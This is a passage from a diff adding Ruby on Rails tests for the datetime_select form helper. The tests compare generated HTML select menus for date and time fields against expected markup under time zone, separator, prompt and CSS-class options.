+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true, selected: nil)
+  end
+
+  def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+    # The love zone is UTC+0
+    mytz = Class.new(ActiveSupport::TimeZone) {
+      attr_accessor :now
+    }.create("tenderlove", 0, ActiveSupport::TimeZone.find_tzinfo("UTC"))
+
+    now       = Time.mktime(2004, 6, 15, 16, 35, 0)
+    mytz.now  = now
+    Time.zone = mytz
+
+    assert_equal mytz, Time.zone
+
+    @post = Post.new
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at")
+  ensure
+    Time.zone = nil
+  end
+
+  def test_datetime_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.datetime_select(:updated_at, {}, class: "selector")
+    end
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}.dup
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+    expected << %{ &mdash; <select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option selected="selected" value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n}
+    expected << %{ : <select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option selected="selected" value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n</select>\n}
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_datetime_select_with_separators
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " , "
+
+    expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", date_separator: " / ", datetime_separator: " , ", time_separator: " - ", include_seconds: true)
+  end
+
+  def test_datetime_select_with_integer
+    @post = Post.new
+    @post.updated_at = 3
+    datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_infinity # Float
+    @post = Post.new
+    @post.updated_at = (-1.0 / 0)
+    datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_default_prompt
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", start_year: 1999, end_year: 2009,  prompt: true)
+  end
+
+  def test_datetime_select_with_custom_prompt
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", start_year: 1999, end_year: 2009, prompt: { year: "Choose year", month: "Choose month", day: "Choose day", hour: "Choose hour", minute: "Choose minute" })
+  end
+
+  def test_datetime_select_with_generic_with_css_classes
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="month">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="day">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_written_on_4i" name="post[written_on(4i)]" class="hour">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_written_on_5i" name="post[written_on(5i)]" class="minute">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "written_on", start_year: 1999, end_year: 2009, with_css_classes: true)
+  end
+
+  def test_datetime_select_with_custom_with_css_classes
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="my-month">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="my-day">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_written_on_4i" name="post[written_on(4i)]" class="my-hour">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_written_on_5i" name="post[written_on(5i)]" class="my-minute">\n}
